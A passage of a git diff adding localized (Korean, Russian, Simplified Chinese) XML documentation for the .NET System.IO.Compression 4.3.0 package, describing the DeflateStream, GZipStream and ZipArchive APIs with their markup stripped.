throw합니다. + long 값입니다. + 스트림 내의 위치입니다. + + 값 중 하나입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + 스트림의 길이입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 지정된 바이트 배열에서 압축된 바이트를 내부 스트림에 씁니다. + 압축할 데이터가 들어 있는 버퍼입니다. + 바이트를 읽어올 의 바이트 오프셋입니다. + 쓸 최대 바이트 수입니다. + 스트림이 닫혀 있어서 쓰기 작업을 수행할 수 없는 경우 + + + Zip 보관 파일 형식으로 압축된 파일 패키지를 나타냅니다. + + + 지정된 스트림에서 클래스의 새 인스턴스를 초기화합니다. + 읽을 보관 저장소가 포함된 스트림입니다. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 지정된 모드를 사용하여 지정된 스트림에서 클래스의 새 인스턴스를 초기화합니다. + 입력 또는 출력 스트림입니다. + Zip 보관 파일이 엔트리를 읽거나 만들기 또는 업데이트하는 데 사용되는지를 나타내는 열거형 값 중 하나입니다. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 지정된 모드에 대해 지정된 스트림에서 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 입력 또는 출력 스트림입니다. + Zip 보관 파일이 엔트리를 읽거나 만들기 또는 업데이트하는 데 사용되는지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 지정된 모드에 대해 지정된 스트림에서 클래스의 새 인스턴스를 초기화하고 항목 이름에 대해 지정된 인코딩을 사용하며 스트림을 선택적으로 연 상태로 둡니다. + 입력 또는 출력 스트림입니다. + Zip 보관 파일이 엔트리를 읽거나 만들기 또는 업데이트하는 데 사용되는지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + 이 보관 파일에서 이름을 읽거나 쓰는 동안 사용할 인코딩입니다.인코딩이 항목 이름에 대해 UTF-8 인코딩을 지원하지 않는 Zip 보관 도구와 라이브러리를 사용하여 상호 운용성에 인코딩이 필요할 때만 이 매개 변수에 대한 값을 지정합니다. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Zip 보관 파일에 지정된 경로 및 항목 이름을 가진 빈 항목을 만듭니다. + Zip 보관 파일의 빈 항목입니다. + 만들 항목의 이름을 지정하는, 보관 저장소의 루트에 상대적인 경로입니다. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Zip 보관 파일에 지정된 항목 이름 및 압축 수준을 가진 빈 항목을 만듭니다. + Zip 보관 파일의 빈 항목입니다. + 만들 항목의 이름을 지정하는, 보관 저장소의 루트에 상대적인 경로입니다. + 항목을 만들 때 속도 또는 압축 효율을 강조할지를 나타내는 열거형 값 중 하나입니다. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + + 클래스의 현재 인스턴스에서 사용하는 리소스를 해제합니다. + + + + 클래스의 현재 인스턴스가 사용하는 관리되지 않는 리소스를 해제하기 위해 및 메서드에 의해 호출되며 선택적으로 보관 파일을 작성하고 관리되는 리소스를 해제합니다. + 보관 파일에 쓰기를 완료하고 관리되지 않은 리소스와 관리되는 리소스를 해제하려면 true이고, 관리되지 않은 리소스만 해제하려면 false입니다. + + + 현재 Zip 보관 파일에 있는 항목의 컬렉션을 가져옵니다. + 현재 Zip 보관 파일에 있는 항목의 컬렉션입니다. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Zip 보관 파일 항목에 대한 래퍼를 검색합니다. + 보관 저장소의 지정된 항목에 대한 래퍼이거나, 항목이 보관 저장소에 없는 경우 null입니다. + 검색할 항목을 식별하는, 보관 저장소의 루트에 상대적인 경로입니다. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Zip 보관 파일이 엔트리에 대해 수행할 수 있는 동작의 유형을 나타내는 값을 가져옵니다. + 엔트리에 Zip 보관 파일을 보관할 수 있는 동작(읽기, 만들기 또는 업데이트) 유형을 설명하는 열거형 값 중 하나입니다. + + + Zip 보관 파일 내의 압축된 파일을 나타냅니다. + + + 엔트리가 속한 Zip 보관 파일을 가져옵니다. + 항목이 속하는 Zip 보관 파일이거나, 항목이 삭제된 경우 null입니다. + + + Zip 보관 파일에 있는 항목의 압축된 크기를 가져옵니다. + Zip 보관 파일에 있는 항목의 압축된 크기입니다. + The value of the property is not available because the entry has been modified. + + + Zip 보관 파일에서 항목을 삭제합니다. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Zip 보관 파일에 있는 항목의 상대 경로를 가져옵니다. + Zip 보관 파일에 있는 항목의 상대 경로입니다. + + + Zip 보관 파일의 항목이 마지막으로 변경된 시간을 가져오거나 설정합니다. + Zip 보관 파일의 항목이 마지막으로 변경된 시간입니다. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Zip 보관 파일에 있는 항목의 압축되지 않은 크기를 가져옵니다. + Zip 보관 파일에 있는 항목의 압축 해제된 크기입니다. + The value of the property is not available because the entry has been modified. + + + Zip 보관 파일에 있는 항목의 파일 이름을 가져옵니다. + Zip 보관 파일에 있는 항목의 파일 이름입니다. + + + Zip 보관 파일에서 항목을 엽니다. + 항목의 내용을 나타내는 스트림입니다. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Zip 보관 파일에 있는 항목의 상대 경로를 검색합니다. + 항목의 상대 경로로, 속성에 저장된 값입니다. + + + Zip 보관 파일 항목과 상호 작용하기 위한 값을 지정합니다. + + + 새 보관 항목 만들기만 허용됩니다. + + + 보관 항목 읽기만 허용됩니다. + + + 보관 항목에 대해 읽기 및 쓰기 작업 모두가 허용됩니다. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/ru/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/ru/System.IO.Compression.xml new file mode 100644 index 0000000..f901cb3 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/ru/System.IO.Compression.xml @@ -0,0 +1,415 @@ + + + + System.IO.Compression + + + + Определяет значения, указывающие, для какой характеристики оптимизируется сжатие: скорость или размер. + + + Операция сжатия должна завершиться как можно быстрее, даже если результирующий файл не будет сжат оптимально. + + + Файл не требуется сжимать. + + + При операции сжатия должно применяться оптимальное сжатие, даже если это увеличивает длительность ее выполнения. + + + Задает, следует ли сжимать или распаковывать основной поток. + + + Сжимает основной поток. + + + Распаковывает основной поток. + + + Предоставляет методы и свойства для сжатия и распаковки потоков с использованием алгоритма Deflate. + + + Инициализирует новый экземпляр класса с использованием указанного потока и уровня сжатия. + Поток для сжатия. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с помощью указанного потока и уровня сжатия, а также при необходимости оставляет поток открытым. + Поток для сжатия. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Значение true, чтобы оставить объект потока открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с использованием указанного потока и режима сжатия. + Поток, который нужно сжать или распаковать. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Свойство имеет значение null. + Параметр не является допустимым значением .-или- — и — false.-или- — и — false. + + + Инициализирует новый экземпляр класса с помощью указанного потока и режима сжатия, а также при необходимости оставляет поток открытым. + Поток, который нужно сжать или распаковать. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Параметр не является допустимым значением .-или- — и — false.-или- — и — false. + + + Возвращает ссылку на основной поток. + Объект потока, представляющий основной поток. + Основной поток закрыт. + + + Возвращает значение, указывающее, поддерживает ли поток чтение во время распаковки файла. + Значение true, если значение равно Decompress, а основной поток открыт и поддерживает чтение; в противном случае — false. + + + Возвращает значение, указывающее, поддерживает ли поток поиск. + Значение false во всех случаях. + + + Возвращает значение, определяющее, поддерживает ли поток операции записи. + Значение true, если значение равно Compress, и основной поток поддерживает запись и не закрыт; в противном случае — false. + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Текущая реализация этого метода не функциональна. + Поток закрыт. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Считывает число распакованных байтов в указанный массив байтов. + Число байтов, которые были считаны в массив байтов. + Массив для хранения распакованных байтов. + Смещение в байтах в массиве , в который будут помещены считанные байты. + Максимальное число распакованных байтов для считывания. + Свойство имеет значение null. + При создании объекта значение было равно Compress.-или- Основной поток не поддерживает чтение. + Значение параметра или меньше нуля.-или-Длина массива минус начальная точка индекса меньше чем . + Недопустимый формат данных. + Поток закрыт. + + + Эта операция не поддерживается и всегда вызывает исключение . + Значение типа long. + Расположение в потоке. + Одно из значений . + Для данного потока это свойство не поддерживается. + + + Эта операция не поддерживается и всегда вызывает исключение . + Длина потока. + Для данного потока это свойство не поддерживается. + + + Записывает сжатые байты в основной поток из указанного массива байтов. + Буфер, содержащий данные для сжатия. + Смещение байтов в , из которого будут считываться байты. + Максимальное число байтов для записи. + + + Предоставляет методы и свойства, используемые для сжатия и распаковки потоков. + + + Инициализирует новый экземпляр класса с использованием указанного потока и уровня сжатия. + Поток, в который необходимо записать сжатые данные. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с помощью указанного потока и уровня сжатия, а также при необходимости оставляет поток открытым. + Поток, в который необходимо записать сжатые данные. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Значение true, чтобы оставить объект потока открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с использованием указанного потока и режима сжатия. + Поток, в который записываются сжатые или распакованные данные. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Свойство имеет значение null. + + не является допустимым значением перечисления .-или- — и — false.-или- — и — false. + + + Инициализирует новый экземпляр класса с помощью указанного потока и режима сжатия, а также при необходимости оставляет поток открытым. + Поток, в который записываются сжатые или распакованные данные. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Параметр не является допустимым значением .-или- — и — false.-или- — и — false. + + + Возвращает ссылку на основной поток. + Объект потока, представляющий основной поток. + Основной поток закрыт. + + + + + + Возвращает значение, указывающее, поддерживает ли поток чтение во время распаковки файла. + Значение true, если значение равно Decompress,, и основной поток поддерживает чтение и не закрыт; в противном случае — false. + + + + + + Возвращает значение, указывающее, поддерживает ли поток поиск. + Значение false во всех случаях. + + + Возвращает значение, определяющее, поддерживает ли поток операции записи. + Значение true, если значение равно Compress, и основной поток поддерживает запись и не закрыт; в противном случае — false. + + + + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также и управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Текущая реализация этого метода не функциональна. + Поток закрыт. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Считывает число распакованных байтов в указанный массив байтов. + Число байтов, которые были распакованы в массив байтов.Если достигнут конец потока, возвращаемое значение представляет собой число считанных байтов или же равно нулю. + Массив, используемый для хранения распакованных байтов. + Смещение в байтах в массиве , в который будут помещены считанные байты. + Максимальное число распакованных байтов для считывания. + Свойство имеет значение null. + При создании объекта значение было равно Compress.-или-Основной поток не поддерживает чтение. + Значение параметра или меньше нуля.-или-Длина массива минус начальная точка индекса меньше чем . + Недопустимый формат данных. + Поток закрыт. + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Расположение в потоке. + Одно из значений . + Для данного потока это свойство не поддерживается. + + + Это свойство не поддерживается и всегда вызывает исключение . + Длина потока. + Для данного потока это свойство не поддерживается. + + + Записывает сжатые байты в основной поток из указанного массива байтов. + Буфер, содержащий данные для сжатия. + Смещение байтов в , из которого будут считываться байты. + Максимальное число байтов для записи. + Операция записи не может быть выполнена, поскольку поток закрыт. + + + Представляет пакет сжатых файлов в формате ZIP архива. + + + Инициализирует новый экземпляр класса из заданного потока. + Поток, содержащий архив для чтения. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Инициализирует новый экземпляр класса из указанного потока с заданным режимом. + Входной или выходной поток. + Одно из значений перечисления, указывающее, для чтения, создания или обновления записей используется ZIP-архив. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Инициализирует новый экземпляр класса на указанном потоке для заданного режима, а также при необходимости оставляет поток открытым. + Входной или выходной поток. + Одно из значений перечисления, указывающее, для чтения, создания или обновления записей используется ZIP-архив. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Инициализирует новый экземпляр класса на указанном потоке для заданного режима, использует указанную кодировку для кодировку для имен записей, а также, при необходимости, оставляет поток открытым. + Входной или выходной поток. + Одно из значений перечисления, указывающее, для чтения, создания или обновления записей используется ZIP-архив. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Кодирование, используемое при чтении или записи имен записей в этом архиве.Задайте значение для этого параметра, только если кодирование требуется для взаимодействия с инструментами и библиотеками ZIP-архива, которые не поддерживают кодирование UTF-8 для имен записей. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Создает пустую запись, которая имеет указанные путь и имя записи в ZIP архиве. + Пустая запись в ZIP-архиве. + Путь относительно корня архива, который указывает имя создаваемой записи. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Создает пустую запись, которая имеет указанные имя и уровень сжатия ZIP записи в архиве. + Пустая запись в ZIP-архиве. + Путь относительно корня архива, который указывает имя создаваемой записи. + Одно из значений перечисления, указывающее, акцентировать ли внимание на скорости или эффективности сжатия при создании записи. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Освобождает ресурсы, используемые текущим экземпляром класса . + + + Вызывается методами и , чтобы освободить неуправляемые ресурсы, используемые текущим экземпляром класса . Дополнительно может заканчивать запись архива и высвобождать управляемые ресурсы. + Значение true — для завершения записи архива и освобождения управляемых и неуправляемых ресурсов; значение false — для освобождения только неуправляемых ресурсов. + + + Получает коллекцию записей, которые находятся в ZIP-архиве в текущий момент. + Коллекция записей, которые находятся в ZIP-архиве в текущий момент. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Извлекает оболочку для заданной записи в ZIP-архиве. + Программа-оболочка для определенной записи в архиве; null — если запись не существует в архиве. + Путь относительно корня архива, который указывает запись для получения. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Получает значение, которое описывает тип действий, которые ZIP-архив может выполнять над записями. + Одно из значений перечисления, описывающее тип действия (чтение, создание или обновление), которое ZIP-архив может выполнять над записями. + + + Представляет сжатый файл внутри ZIP-архива. + + + Получает ZIP-архив, к которому принадлежит запись. + ZIP-архив, которому принадлежит запись, или значение null, если запись была удалена. + + + Получает сжатый размер записи в ZIP-архиве. + Сжатый размер записи в ZIP-архиве. + The value of the property is not available because the entry has been modified. + + + Удаляет запись из ZIP-архива. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Получает относительный путь записи в ZIP-архиве. + Относительный путь записи в ZIP-архиве. + + + Получает или задает время последнего изменения записи в ZIP-архиве. + Время последнего изменения записи в ZIP-архиве. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Получает несжатый размер записи в ZIP-архиве. + Несжатый размер записи в ZIP-архиве. + The value of the property is not available because the entry has been modified. + + + Получает имя файла записи в ZIP-архиве. + Имя файла записи в ZIP-архиве. + + + Открывает запись из ZIP-архива. + Поток, представляющий содержимое записи. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Извлекает относительный путь записи в ZIP-архиве. + Относительный путь записи, который является значением, хранящимся в свойстве . + + + Определяет значения для взаимодействия с записями ZIP-архива. + + + Разрешено только создание новых записей архива. + + + Разрешено только чтение записей архива. + + + Операции чтение и запись разрешены для записей архива. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/zh-hans/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/zh-hans/System.IO.Compression.xml new file mode 100644 index 0000000..d95c4c9 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/zh-hans/System.IO.Compression.xml @@ -0,0 +1,436 @@ + + + + System.IO.Compression + + + + 指定表明是否压缩操作重点介绍速度或压缩大小的值。 + + + 即使结果文件未可选择性地压缩，压缩操作也应尽快完成。 + + + 该文件不应执行压缩。 + + + 即使操作要用更长的时间来完成，也应该可选性地压缩压缩操作。 + + + 指定是否压缩或解压缩基础流。 + + + 压缩基础流。 + + + 解压缩基础流。 + + + 提供使用 Deflate 算法压缩和解压缩流的方法和属性。 + + + 用指定的流和压缩级别初始化 类的新实例。 + 要压缩的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 使用指定的流和压缩级别，初始化 类的新实例，有选择性的打开流。 + 要压缩的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 用指定的流和压缩模式初始化 类的新实例。 + 要压缩或解压缩的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + + 为 null。 + + 不是有效的 值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 使用指定的流和压缩模式，初始化 类的新实例，有选择性的打开流。 + 要压缩或解压缩的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + 如果在释放 对象之后打开流，则为 true；否则为 false。 + + 为 null。 + + 不是有效的 值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 获取对基础流的引用。 + 表示基础流的流对象。 + 基础流已关闭。 + + + 获取一个值，该值指示流是否支持在解压缩文件的过程中读取文件。 + 如果 值为 Decompress 而且基础流已打开并支持读取，则为 true；否则为 false。 + + + 获取一个值，该值指示流是否支持查找。 + 在所有情况下均为 false。 + + + 获取一个值，该值指示流是否支持写入。 + 如果 值为 Compress 而且基础流未关闭并支持写入，则为 true；否则为 false。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 此方法的当前实现没有任何功能。 + 流已关闭。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 将若干解压缩的字节读入指定的字节数组。 + 已读入到字节数组中的字节数。 + 用于存储解压缩的字节的数组。 + + 中的字节偏移量，将在此处放置读取的字节。 + 最多要读取的解压缩字节数。 + + 为 null。 + 创建对象时 值是 Compress。- 或 - 基础流不支持读取。 + + 或 小于零。- 或 - 长度减去索引起始点小于 。 + 数据的格式无效。 + 流已关闭。 + + + 此操作不受支持，它总是引发 。 + 一个长值。 + 流中的位置。 + + 值之一。 + 此流中不支持此属性。 + + + 此操作不受支持，它总是引发 。 + 流的长度。 + 此流中不支持此属性。 + + + 从指定的字节数组中将压缩的字节写入基础流。 + 包含要压缩的数据的缓冲区。 + + 中的字节偏移量，将在此处读取字节。 + 最多写入的字节数。 + + + 提供用于压缩和解压缩流的方法和属性。 + + + 用指定的流和压缩级别初始化 类的新实例。 + 要将压缩数据写入到其中的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 使用指定的流和压缩级别，初始化 类的新实例，有选择性的打开流。 + 要将压缩数据写入到其中的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 用指定的流和压缩模式初始化 类的新实例。 + 压缩或解压缩后的数据被写入的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + + 为 null。 + + 不是有效的 枚举值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 使用指定的流和压缩模式，初始化 类的新实例，有选择性的打开流。 + 压缩或解压缩后的数据被写入的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + 如果在释放 对象之后打开流，则为 true；否则为 false。 + + 为 null。 + + 不是有效的 值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 获取对基础流的引用。 + 表示基础流的流对象。 + 基础流已关闭。 + + + + + + 获取一个值，该值指示流是否支持在解压缩文件的过程中读取文件。 + 如果 值为 Decompress, 而且基础流未关闭并支持读取，则为 true；否则为 false。 + + + + + + 获取一个值，该值指示流是否支持查找。 + 在所有情况下均为 false。 + + + 获取一个值，该值指示流是否支持写入。 + 如果 值为 Compress 而且基础流未关闭并支持写入，则为 true；否则为 false。 + + + + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 此方法的当前实现没有任何功能。 + 流已关闭。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 将若干解压缩的字节读入指定的字节数组。 + 解压缩到字节数组中的字节数。如果已到达流的末尾，则返回 0 或已读取的字节数。 + 用于存储解压缩字节的数组。 + + 中的字节偏移量，将在此处放置读取的字节。 + 最多要读取的解压缩字节数。 + + 为 null。 + 创建对象时 值是 Compress。- 或 -基础流不支持读取。 + + 或 小于零。- 或 - 长度减去索引起始点小于 。 + 数据的格式无效。 + 流已关闭。 + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 流中的位置。 + + 值之一。 + 此流中不支持此属性。 + + + 此属性不受支持，并且总是引发 。 + 流的长度。 + 此流中不支持此属性。 + + + 从指定的字节数组中将压缩的字节写入基础流。 + 包含要压缩的数据的缓冲区。 + + 中的字节偏移量，将在此处读取字节。 + 最多写入的字节数。 + 由于流已关闭，因此无法执行写入操作。 + + + 表示 Zip 存档格式中的一个压缩文件包。 + + + 从指定流初始化 类的新实例。 + 即包含待读取的存档的流。 + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 在指定的模式下，从指定的流初始化 类的新实例。 + 输入流或输出流。 + 指示 zip 存档是否用于读取、创建或更新项的一个枚举值。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 对于指定的模式，初始化指定流上的 类的新实例，并有选择性地使流保持打开状态。 + 输入流或输出流。 + 指示 zip 存档是否用于读取、创建或更新项的一个枚举值。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 对于指定的模式，初始化指定流上的 类的新实例，使用项名的指定编码，并有择性地使流保持打开状态。 + 输入流或输出流。 + 指示 zip 存档是否用于读取、创建或更新项的一个枚举值。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + 在存档中读取或写入项名时使用的编码。仅当需要针对具有不支持项名的 UTF-8 编码的 zip 归档工具和库的互操作性进行编码时，为此参数指定一个值。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 创建在 zip 存档中有指定路径和项名的空项。 + 在 zip 存档中的空项。 + 相对于存档的根的路径指定了要创建项的名称。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 创建在 zip 存档中有指定项名和压缩级别的空项。 + 在 zip 存档中的空项。 + 相对于存档的根的路径指定了要创建项的名称。 + 指示创建项时是否强调速度或压缩有效性的枚举值之一。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 释放 类的当前实例使用的资源。 + + + 由 和 方法调用，以释放 类的当前实例使用的未托管资源，并有选择性地完成编写存档以及释放托管资源。 + true 则完成编写存档并释放未托管和托管资源；false 则仅释放未托管资源。 + + + 获取 zip 存档中当前存在的项的集合。 + 在 zip 存档中当前存在的项的集合。 + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 在 zip 存档中检索指定项的包装。 + 存档中指定项的包装器；如果存档中不存在此项目则为 null。 + 识别要检索的项、相对于存档的根的路径。 + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 获取描述 zip 存档可在项上执行的操作类型的一个值。 + 描述 zip 存档可在项上执行的操作类型（读取、创建或更新）的一个枚举值。 + + + 表示 zip 档案中的压缩文件。 + + + 获取该项所属的 zip 存档。 + 项所属的 zip 存档，或如果已删除项，则为 null。 + + + 获取在 zip 存档中的项的压缩大小。 + 在 zip 存档中的项的压缩大小。 + The value of the property is not available because the entry has been modified. + + + 删除 zip 存档中的项。 + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + 获取 zip 存档中的项的相对路径。 + 在 zip 存档中的项的相对路径。 + + + 获取或设置最近一次更改 zip 存档中的项的时间。 + 最近一次更改 zip 存档中的项的时间。 + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + 获取 zip 存档中的项的未压缩大小。 + 在 zip 存档中的项的未压缩大小。 + The value of the property is not available because the entry has been modified. + + + 获取在 zip 存档中的项的文件名。 + 在 zip 存档中的项的文件名。 + + + 打开 zip 存档中的项。 + 表示项的内容的流。 + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + 检索 zip 存档中项的相对路径。 + 项的相对路径，即存储在 属性中的值。 + + + 指定与 zip 存档项互交的值。 + + + 只允许创建新存档项。 + + + 只允许读取存档项。 + + + 存档项允许读取和写入操作。 + + + \ No newline at end of file diff --git 